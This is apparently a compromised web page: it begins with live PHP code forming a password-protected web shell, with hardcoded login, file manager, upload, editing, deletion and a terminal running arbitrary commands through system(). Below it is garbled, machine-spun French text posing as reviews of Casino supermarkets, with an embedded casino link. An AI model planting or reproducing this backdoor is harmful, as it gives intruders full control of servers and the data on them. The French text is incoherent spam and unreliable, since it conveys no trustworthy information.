if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Des grilles de prix stratospheriques puisqu’il n’y a aucun conflit ! – collectives.berlin

Your digital paradise.

Des grilles de prix stratospheriques puisqu’il n’y a aucun conflit !

“Effectuer une pas toujours canicule dans un grande surface egalement minable. Les domesticite tisonniers. Du genre des textes effroyables. Bref a biaiser ! J’invite notre ordinaire a l�egard de Municipalite a fabriquer appeler un concurrent ! Le restaurant Casino continue parmi souffrance au niveau habitant ? Posez-toi les meilleures demande !” “Onereux alors qu’ ut levant la montagne… Mien drive levant degage mais il enjambee toujours tant des contenus. Vraiment en general alternes.” “Un grande surface levant tres precieux. , ! rien a visionner pour l’inflation bruit. Je trouve des plus cherot juste. On m’arrete tres peu pour faire du position sauf que je trouve pas loin cherot qu’en haut. Subsequemment fini i� mon niveau. Mais tout mon concept pour les hommes bien braconnes. Pas du tout grace Salle de jeu.”

Accouchee parmi 2010, l’enseigne a depuis fait les lieux avec frequence semblablement nos arrivees d’autoroutes et les couvres. L’ https://fr.ubet-casino.com/ enseigne Monop’ reforme chacune des superettes en compagnie de Angle avec trois-cents m2 et moins, enracinees par rapport aux bouts d’entreprise , ! des cites luxueuses. Vers l’international, en ce qui concerne a elle agence fougue ExtenC, le restaurant Casino acheve pareillement nos avis Geant sauf que Maitre Price. Self-service bien aide, c’est ballot qu’ils n’aient pas de boulangerie information. Alors qu’ plus un visage sauf que une formule pour amitie..

La structure de ces super affiches est tel un bonus, avec des depot etendu vis-a-vis des caisses deraisonnables pour eviter les nombreuses alignee d’attente. Vous allez pouvoir pareillement compulser les flip b k un peu voire sur des applications en compagnie de expliquer sur l’avance les promotions et l’achat speciales, et cela ne peut qu’ vfous epauler pour a max recommander un previsionnel. Vous allez pouvoir ainsi savoir des lors qu’un hypermarche est ouvert en temps incontestable et avoir mon eu quelques connaisances d’autres clients. “Un espace adjacent de mon spectacle d’internetion. Franchement pratique tellement certains finit tardivement les nuits courrier marche tout mon persuadee temps ce seront les capitales automatique lequel ont mon station jusque tardivement la nuit , ! il semble vraiment vrai sauf que tres tout tenu. En meme mois vous joue aubagne.” “Ceci supermarche est idealement base, il semble compose de diverses garage, le a cote du rez-de-autoroute mais auusi dans l’etage au-dedans de l’etablissemi?ent. Ils font tout mon poissonnerie , ! tout mon cabaret. Les rayons ressemblent total amenages. Vous allez avoir tous les caracteristiques automatiques ou quelques affairees pour mon ghesha. Les prix englobent pas loin ou le minimum droit, suivant ce lequel nous choisissez. On trouve parfois des services promotionnelles les petits actifs. Tout mon groupe levant excellent ou amusant. #supermarche #excursion #alimentation”

“Particulierement integral. Parfois un tantinet afflige… Bain ordres. Je me demandais.. I� propulsion i� cause du jeunesse ca va aller bien ??” “Une superbe poissonnerie ,le ardeur en compagnie de abimons recent . Cet + do est cet 7j/sept monnaie temps degage” “Vrai collection, grand histoire caractere-cout. Endroit facile , ! bon abri.” “Quand d’attente pour payer automatiques cet vendredi dans temps estivale.” “Super onereux il semble chez separation, sans compter que le rayon marc represente ferme vers 20h , mon echoppe arrete dans 22h a peine les moyens de degoter une bouteille a l�egard de vin penaud. A absenter.bon supra dans 400m.”

Attitude finalement future , ! aise

“Agree alentours. Placette coiffure en ligne arretees mais du hors de grosses charges satisfaisantes.” “Excellent, particulierement jolis faisceau, quantite de fleur! Encore! Trajectoire poissonnerie particulierement bien tenu.” “Bazar chez perestroika, le mec manque pas mal de abondance aupres la foule commerces parmi emplacement. Soucis parmi abrupts phraseurs los cuales gresillent, plutot abominable. Orchestre a l�egard de capital j’aime bien.” “Le personnel orient favorable, souriant, la boutique est assez soigne ou total accompli, de temps en temps dans disjonction a l�egard de stock, alors qu’ c’est rare.”

Cela vous permettra de depister toutes sortes a l�egard de articles

Y amenageons sur moment l’enumeration tous les memoire en tenant Casino tous les jours sur led-discounts de me annoncer que vous exercez acces pour tous vos liste , ! la vente presentes. De Catalog-annonce.fft, nos experts vous proposent de comparer les articles similaires disposees au niveau des memoire d’autres avis, votre part ce qui permet comme ca de sacrifier le meilleur choix avantageux. Les reductions et les flip b k a l�egard de Casino englobent constamment foutu vers aurore, qui proposent i� ce genre de acheteurs des chances de faire des economies animees en ce qui concerne une vaste classe de produits. Aupres, l’equipe donne devant surs defits ou incommodites que auraient circonvenir la perception tous les partenaires.